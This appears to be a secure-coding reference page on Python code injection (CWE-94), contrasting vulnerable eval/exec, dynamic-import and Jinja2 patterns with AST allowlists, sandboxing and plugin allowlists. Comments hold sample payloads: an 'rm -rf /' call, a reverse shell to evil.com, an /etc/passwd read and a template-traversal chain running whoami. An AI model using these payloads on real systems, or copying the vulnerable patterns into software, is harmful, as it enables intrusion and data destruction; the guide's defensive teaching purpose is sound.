Skip to content

CWE-94: Improper Control of Generation of Code ('Code Injection') - Python

Overview

Code injection in Python occurs when untrusted input is passed to code execution functions like eval(), exec(), compile(), or __import__(). Injected code runs with the application's own privileges and reaches whatever the process can: any importable module, the file system and network, and the application's data and secrets in memory. Python's introspection widens that reach, because attribute traversal from any object already in scope leads back to the rest of the runtime.

Primary Defence: Never use eval() or exec() with user input. Use safe alternatives like json.loads() for JSON data, ast.literal_eval() only for small Python literals, or a purpose-built parser/interpreter with an allowlist of supported operations. If arbitrary user code is unavoidable, run it outside the application process with OS/container isolation, no ambient secrets, no filesystem or network access unless explicitly required, strict resource limits, and short timeouts. Do not rely on restricted __builtins__ as a security boundary.

Adjacent Sinks That Belong to Other CWEs

Three Python patterns run arbitrary code or read arbitrary state and are routinely discussed alongside eval(), but each belongs under a different CWE and is fixed differently. They are listed here so that a CWE-94 finding in the same file does not get triaged as one of them, or the reverse:

Pattern Belongs under Covered by
pickle.loads(), pickle.load(), pandas.read_pickle() Deserialization of untrusted data CWE-502 (Python)
yaml.load() with Loader=yaml.Loader or UnsafeLoader Deserialization of untrusted data CWE-502 (Python)
template.format(**kwargs) where the template is user-supplied Externally-controlled format string CWE-134 (Python)

The distinction that decides which page you need is what the attacker supplies. CWE-94 is about untrusted input reaching a code evaluator - eval, exec, compile, a dynamic import, a template engine compiling a user-supplied template. Pickle and unsafe YAML execute code too, but the sink is a deserializer being handed a serialized object graph, and the fix is a different one (choose a data-only format, or a restricted loader) rather than "remove the evaluator". The str.format case is different again and is worth stating precisely, because pages regularly overstate it: format fields resolve .attr and [key] steps but cannot call anything, so {user.__init__.__globals__[os].system('whoami')} raises AttributeError rather than running a command. It is arbitrary read access to the reachable object graph - enough to leak API keys, database passwords and session secrets, which is serious - but it is not code execution, and filing it as CWE-94 overstates the finding.

None of this is a prediction about what your scanner will print. Tools do mis-map these - a pickle.loads() sink labelled CWE-94, or a str.format traversal filed as code execution - and a rule that fires on "dangerous deserialization" may carry whichever CWE its author picked. Treat the table as where each one belongs on triage, not as what the report will say, and expect to re-file some findings.

Common Vulnerable Patterns

eval() with User Input

# VULNERABLE - Direct eval of user input
def calculate(expression):
    result = eval(expression)  # NEVER DO THIS
    return result

# User input: "__import__('os').system('rm -rf /')"
# Executes arbitrary code!

Why this is vulnerable: eval() executes any Python expression. Attacker can import modules, call functions, access globals.

exec() with User Code

# VULNERABLE - Execute user-provided code
def run_user_script(code):
    exec(code)  # EXTREMELY DANGEROUS
    return "Script executed"

# User input: "import socket; s=socket.socket(); s.connect(('evil.com',1234)); ..."
# Reverse shell established!

Why this is vulnerable: exec() can execute multiple statements, imports, class definitions - full Python capabilities.

compile() and exec() Chain

# VULNERABLE - Compile and execute user code
def execute_formula(formula):
    compiled = compile(formula, '<string>', 'eval')
    result = eval(compiled)
    return result

# User input: "open('/etc/passwd').read()"
# Reads sensitive file

Why this is vulnerable: compile() + eval() provides same attack surface as direct eval().

Dynamic Module Import

import importlib

# VULNERABLE - Import user-specified module
def load_plugin(plugin_name):
    module = __import__(plugin_name)  # DANGEROUS
    return module

# Alternate dangerous approach
def load_module(module_name):
    module = importlib.import_module(module_name)  # DANGEROUS
    return module

# User input: "subprocess" or "os"
# Attacker can import any module and access dangerous functions

Why this is vulnerable: Allows importing arbitrary modules. Attacker can import os, subprocess, socket, etc.

Template Injection (Jinja2 Unsafe)

from jinja2 import Template

# VULNERABLE - User input in template without sandboxing
def render_greeting(name):
    template_str = f"Hello {{{{ {name} }}}}"
    template = Template(template_str)
    return template.render()

# User input: "''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].system('whoami')"
# Executes system command via template injection!

Why this is vulnerable: Jinja2 templates can access Python objects. Attacker can traverse object hierarchy to reach dangerous functions.

Secure Patterns

ast.literal_eval() for Safe Evaluation

import ast

# SECURE - Only allows Python literals (strings, numbers, tuples, lists, dicts, booleans, None)
def safe_calculate(expression):
    try:
        # Only evaluates literals - no function calls, no imports
        result = ast.literal_eval(expression)
        return result
    except (ValueError, SyntaxError):
        raise ValueError("Invalid expression")

# Safe inputs: "42", "3.14", "{'key': 'value'}", "[1, 2, 3]"
# Blocked: "__import__('os').system('whoami')" - raises ValueError

Why this works: ast.literal_eval() only parses Python literal structures (strings, numbers, tuples, lists, dicts, sets, booleans, and None). It cannot evaluate function calls, variable lookups, imports, or executable statements. That makes it a safer replacement for eval() when the expected input is a small literal value. It is not a general-purpose parser for untrusted arbitrary-size input: deeply nested or very large literals can still exhaust memory or the Python stack. Apply length, size, and nesting limits, and prefer json.loads() when JSON is an acceptable format.

Restricted Expression Parser

import ast
import operator

# SECURE - Allowlist allowed operators. The migration example below imports
# this module as safe_expression.
ALLOWED_OPS = {
    ast.Add: operator.add,
    ast.Sub: operator.sub,
    ast.Mult: operator.mul,
    ast.Div: operator.truediv,
    ast.Mod: operator.mod,
    ast.Pow: operator.pow,
    ast.USub: operator.neg,
}

# ast.walk yields the operator nodes too (ast.Add, ast.Mult, ast.USub),
# so the abstract operator base classes must be in the allowlist or every
# arithmetic expression is rejected.
ALLOWED_NODES = (
    ast.Expression, ast.Constant,
    ast.BinOp, ast.UnaryOp,
    ast.operator, ast.unaryop,
)

MAX_EXPONENT = 64  # ** is unbounded: 9 ** 9 ** 9 never returns

def safe_eval(expr):
    """Safely evaluate arithmetic over numeric literals only"""
    tree = ast.parse(expr, mode='eval')

    # Verify only allowed node types
    for node in ast.walk(tree):
        if not isinstance(node, ALLOWED_NODES):
            raise ValueError(f"Forbidden node type: {type(node).__name__}")
        if isinstance(node, (ast.operator, ast.unaryop)) and type(node) not in ALLOWED_OPS:
            raise ValueError(f"Forbidden operator: {type(node).__name__}")

    # Execute with restricted environment
    def eval_node(node):
        if isinstance(node, ast.Constant):
            # bool is a subclass of int, and str supports * and % - restrict
            # to the numbers this evaluator is actually for
            if type(node.value) not in (int, float):
                raise ValueError("Only numeric literals are allowed")
            return node.value
        elif isinstance(node, ast.BinOp):
            left = eval_node(node.left)
            right = eval_node(node.right)
            if isinstance(node.op, ast.Pow) and right > MAX_EXPONENT:
                raise ValueError("Exponent too large")
            return ALLOWED_OPS[type(node.op)](left, right)
        elif isinstance(node, ast.UnaryOp):
            operand = eval_node(node.operand)
            return ALLOWED_OPS[type(node.op)](operand)
        else:
            raise ValueError(f"Unsupported node: {type(node).__name__}")

    return eval_node(tree.body)

# Usage
result = safe_eval("(10 + 5) * 2")  # 30
# safe_eval("__import__('os').system('whoami')")  # ValueError: Forbidden node type: Call
# safe_eval("1 << 32")                            # ValueError: Forbidden operator: LShift
# safe_eval("9 ** 9 ** 9")                        # ValueError: Exponent too large

Why this works: This AST-based expression evaluator parses user input into an Abstract Syntax Tree and validates it against an allowlist of safe node types and operators before execution. ast.parse() builds the tree without executing anything. Walking that tree and checking each node against ALLOWED_NODES (only literals, binary ops, unary ops) and each operator against ALLOWED_OPS (only basic arithmetic) rejects function calls, imports and attribute access before the custom eval_node() interpreter evaluates what is left. Use this pattern for calculators, formula evaluators, or any feature where users provide mathematical expressions. The allowlist is explicit and auditable; add only operations you've reviewed.

Three details decide whether it works as written, and all three are easy to get wrong:

  • ast.walk() yields operator nodes, not just expression nodes. 1 * 2 produces a BinOp whose op field is an ast.Mult node, and ast.walk() visits it. An allowlist of (ast.Expression, ast.Constant, ast.BinOp, ast.UnaryOp) therefore rejects every arithmetic expression it was written to accept. Allowlisting the ast.operator and ast.unaryop base classes admits the operator nodes, and the separate ALLOWED_OPS membership test is what keeps <<, | and // out.
  • Passing validation says nothing about the literal types. ast.Constant covers strings as well as numbers, and 'a' * 10000000 is a BinOp over two constants. Check the constant type in the interpreter, not just the node type.
  • ** has no bound. 9 ** 9 ** 9 is four allowed nodes and will not return. Cap the exponent, or drop ast.Pow from ALLOWED_OPS if you do not need it.

Configuration-Driven Logic (Not Code)

import json

# SECURE - Use JSON configuration instead of code
def apply_pricing_rule(price, rule_config):
    """Apply pricing rules from JSON config, not executable code"""
    rule = json.loads(rule_config)

    # Declarative configuration
    if rule['type'] == 'percentage_discount':
        discount = price * (rule['percent'] / 100)
        return price - discount
    elif rule['type'] == 'fixed_discount':
        return price - rule['amount']
    elif rule['type'] == 'bulk_discount':
        if price > rule['threshold']:
            return price * (1 - rule['discount'])
        return price
    else:
        raise ValueError("Unknown rule type")

# Safe configuration (JSON, not code)
config = '{"type": "percentage_discount", "percent": 10}'
discounted = apply_pricing_rule(100, config)  # 90.0

# No code injection possible - only data configuration

Why this works: Using JSON for configuration instead of executable code removes the evaluator rather than restricting it. JSON is a data-only format - it can only represent basic types (objects, arrays, strings, numbers, booleans, null), so json.loads() hands you dicts, lists, strings and numbers, never functions, imports or statements. The business logic (if/elif conditions, calculations) lives in your trusted Python code, while user input only supplies data values (discount percentages, thresholds, amounts). An attacker in full control of rule_config can set field values and nothing else. Use JSON config for pricing rules, workflows, plugins, feature flags - anywhere users customize behavior. Combine with schema validation (jsonschema) to enforce data structure and prevent logic errors.

Jinja2 with Sandboxing

from jinja2.sandbox import SandboxedEnvironment

# SECURE - Use Jinja2 sandbox and enable auto-escaping for HTML output
env = SandboxedEnvironment(autoescape=True)

def render_template(template_str, context):
    """Render templates in sandboxed environment"""
    template = env.from_string(template_str)
    return template.render(context)

# Usage
result = render_template("Hello {{ name }}!", {'name': 'Alice'})  # "Hello Alice!"

# Sandboxed - dangerous operations blocked
# template_str = "{{ ''.__class__.__mro__[1].__subclasses__() }}"
# Raises SecurityError

Why this works: Jinja2's SandboxedEnvironment intercepts attribute lookups and rejects unsafe ones, which closes many of the attribute-traversal routes attackers use to escape a template into the Python runtime. Use Jinja2 3.1.6 or later - earlier releases had sandbox-escape bypasses, most recently CVE-2025-27516 via the |attr filter. Unlike regular Jinja2 (which allows attribute access like {{''.__class__.__mro__}}), the sandbox blocks access to private attributes (those starting with _), sensitive methods (__subclasses__, __globals__), and dangerous builtins. Treat user-editable templates as executable template logic: use the sandbox, register only safe custom filters/functions, avoid helpers that reach files/network/process state, enable auto-escaping for HTML output, and apply size/time limits where possible. For stricter control, consider a logic-less engine (Mustache, Handlebars) or a small application-specific template language.

Plugin System with Allowlist

import importlib

# SECURE - Allowlist allowed plugins
ALLOWED_PLUGINS = {
    'plugin_auth': 'myapp.plugins.auth',
    'plugin_reports': 'myapp.plugins.reports',
    'plugin_export': 'myapp.plugins.export'
}

def load_plugin(plugin_name):
    """Load plugin from allowlist only"""
    if plugin_name not in ALLOWED_PLUGINS:
        raise ValueError(f"Plugin '{plugin_name}' not allowed")

    module_path = ALLOWED_PLUGINS[plugin_name]
    module = importlib.import_module(module_path)
    return module

# Safe - only pre-approved plugins can be loaded
# load_plugin('os')  # Raises ValueError

Why this works: Allowlisting modules for dynamic imports means only pre-approved, reviewed modules can be loaded. When users control which modules to import (plugin systems, configurable imports), an attacker can name os, subprocess or importlib and reach their functions, or name a malicious third-party package that happens to be installed. Checking plugin_name against ALLOWED_PLUGINS before calling importlib.import_module() keeps the reachable set to the plugins you approved, and because the allowlist maps user-facing names to module paths you wrote, the user's string never becomes part of an import path. Store the allowlist server-side (never trust client input for module names), keep it minimal and audited, and review each plugin's code. For stronger isolation, load plugins in separate processes (multiprocessing) or containers. Combine with code signing or hash verification to detect tampering.

Avoid SymPy parse_expr() / sympify() for Untrusted Strings

from sympy.parsing.sympy_parser import parse_expr, standard_transformations, implicit_multiplication_application

# DANGEROUS for untrusted input:
expr = parse_expr(user_input, transformations=standard_transformations)

Why this matters: SymPy's string parsers are powerful symbolic-math tools, but parse_expr() and sympify() use Python evaluation internally and SymPy documents that they should not be used on unsanitized input. For user-entered formulas, prefer the restricted AST evaluator above, a parser you can configure to a small grammar, or an isolated worker process with resource limits if symbolic math is truly required.

Key Security Functions

AST-based Expression Validator

import ast

def validate_safe_expression(expr_str):
    """Validate expression only contains safe operations"""
    try:
        tree = ast.parse(expr_str, mode='eval')
    except SyntaxError:
        raise ValueError("Invalid Python syntax")

    # Define allowed node types. ast.Load is the expression context carried by
    # every List, Tuple and Name node - leave it out and "[1, 2]" is rejected
    # even though ast.List is allowlisted.
    SAFE_NODES = (
        ast.Expression, ast.Constant,
        ast.BinOp, ast.UnaryOp, ast.Compare,
        ast.List, ast.Tuple, ast.Dict,
        ast.Load,
        ast.operator, ast.unaryop, ast.cmpop,
    )

    # Allowlisting the operator base classes admits every operator, including
    # ones this validator is not meant to permit, so name the exceptions.
    FORBIDDEN_OPS = (
        ast.LShift, ast.RShift, ast.BitOr, ast.BitAnd, ast.BitXor,
        ast.FloorDiv, ast.MatMult, ast.Pow,
    )

    for node in ast.walk(tree):
        if not isinstance(node, SAFE_NODES):
            raise ValueError(f"Forbidden operation: {type(node).__name__}")
        if isinstance(node, FORBIDDEN_OPS):
            raise ValueError(f"Forbidden operator: {type(node).__name__}")

    return True

# Usage
validate_safe_expression("(10 + 5) * 2")     # OK
validate_safe_expression("[1, 2]")           # OK
# validate_safe_expression("__import__('os')")  # ValueError: Forbidden operation: Call
# validate_safe_expression("().__class__")      # ValueError: Forbidden operation: Attribute

Do not carry ast.Num, ast.Str, ast.Bytes or ast.NameConstant into a list like this. They were deprecated in Python 3.8 in favour of ast.Constant and removed in 3.14, so a validator naming them raises AttributeError at import time on a current interpreter rather than validating anything.

Avoid Restricted eval() as a Security Boundary

# VULNERABLE - restricted builtins are not a sandbox
safe_globals = {'__builtins__': {'abs': abs, 'max': max}}
result = eval(user_expression, safe_globals, {})

Why this matters: Removing selected builtins does not make Python evaluation safe. Python objects expose introspection paths, and restricted globals have a long history of bypasses. Replace eval() with an allowlisted parser. If you must run user code, run it out of process in a locked-down container or service account with resource limits and no application secrets.

Plugin Signature Verification

import hashlib
import hmac
import os

PLUGIN_SECRET = os.environ['PLUGIN_SIGNING_KEY'].encode()

def verify_plugin_signature(plugin_code, signature):
    """Verify plugin hasn't been tampered with"""
    expected_sig = hmac.new(PLUGIN_SECRET, plugin_code.encode(), hashlib.sha256).hexdigest()
    return hmac.compare_digest(expected_sig, signature)

def load_verified_plugin(plugin_code, signature):
    """Only execute plugin code that we signed ourselves"""
    if not verify_plugin_signature(plugin_code, signature):
        raise ValueError("Invalid plugin signature")

    # The signature is the whole control: this exec() runs with full builtins
    # and full process privileges, exactly as if the code were in the repo.
    exec(plugin_code, {'__name__': 'plugin'})

What this does and does not do: an HMAC over the plugin source answers "did we author this?", and nothing else. Code that passes the check is trusted code and runs unrestricted - which is the honest arrangement, because the {'__builtins__': {}} namespace that often appears alongside this pattern is not a sandbox (see below) and adding it only makes the result look safer than it is. The signing key must live outside the repository, and the signature must be computed by your build, never submitted alongside the plugin by whoever supplied it. If the code is not yours to sign, signature verification is the wrong control: isolate it out of process instead.

Analysis Steps

  1. Locate the eval/exec Call:
# Line 42 in app/calculator.py
result = eval(user_expression)  # VULNERABLE
  1. Trace Input Source:
  • Web form? request.form['expression']
  • API endpoint? request.json['code']
  • File upload? Reading file contents
  • Database? User-stored formulas
  1. Assess Execution Context:
  • What can injected code access? (All Python modules, file system, network)
  • What privileges does application run with? (Web server user, database access)
  • What data is accessible? (User data, secrets in environment variables)
  1. Determine Safe Alternative:
  • Mathematical expressions → Use a restricted AST evaluator or a purpose-built expression parser; do not use SymPy string parsers on unsanitized input
  • Configuration → Use JSON, or YAML with yaml.safe_load() (CWE-502)
  • Business rules → Use rule engine or declarative config
  • Plugin system → Use allowlist + signature verification

Remediation for Scanner Finding

Step 1: Identify the purpose

# BEFORE (Line 42 - vulnerable)
def calculate(user_expression):
    result = eval(user_expression)  # User wants to calculate "2 + 2"
    return result

Step 2: Replace with safe alternative

# The restricted AST evaluator from the section above, as its own module
from safe_expression import safe_eval


def calculate(user_expression):
    # For arithmetic, use the restricted AST evaluator, or a reviewed
    # expression parser configured to an allowlisted grammar.
    return safe_eval(user_expression)

Step 3: Bound the input

import re
# The restricted AST evaluator from the section above, as its own module
from safe_expression import safe_eval

def validate_math_expression(expr):
    """Defence in depth - safe_eval() is still the control that matters"""
    # Max length, so a pathological expression cannot exhaust the parser
    if len(expr) > 200:
        raise ValueError("Expression too long")

    # Allowlist of permitted characters - digits, operators, brackets, space
    if not re.match(r'^[0-9+\-*/().\s]+$', expr):
        raise ValueError("Invalid characters in expression")

    return True

def safe_calculate(user_expression):
    validate_math_expression(user_expression)
    return safe_eval(user_expression)

Note what is absent: a list of forbidden words such as import, eval or __. A character allowlist that admits no letters already makes every such word unrepresentable, so the keyword scan can never fire - and where the allowlist is loosened to admit letters (function names, variables), the keyword scan is bypassed by concatenation or by an object walk that never spells the banned word. Either way it earns nothing. See Common Pitfalls.

Common Scanner False Positives

False Positive: eval() with Hardcoded String

# May be flagged but is safe if input is truly hardcoded
config = eval("{'setting': True}")  # Hardcoded, not from user

# Better: Use ast.literal_eval anyway for defense-in-depth
config = ast.literal_eval("{'setting': True}")

Verification

After remediation:

  • No eval(), exec(), compile() with user input
  • No __import__() or importlib.import_module() with user strings
  • Templates use SandboxedEnvironment (Jinja2), and no template source comes from a request
  • Scanner re-scan shows finding resolved
  • Tested with code injection payloads (blocked)

Common Pitfalls

  • Denylisting substrings like import or __ before evaluation: A text-level check that rejects strings containing "import" or "__" is bypassed by string concatenation ('__imp' + 'ort__') or by object-graph traversal that never contains those substrings at all (().__class__.__base__.__subclasses__()). Denylisting the text doesn't restrict what the evaluator can reach.
  • Prefixing user input for a module path without an allowlist: importlib.import_module("plugins." + user_choice) looks safer than importing user_choice directly, but a fixed prefix doesn't turn untrusted input into a safe identifier - user_choice values like "os" combined with attribute traversal, or a crafted value matching an unexpected installed package, can still load unintended code. Validate user_choice against an explicit allowlist of plugin names.

Additional Resources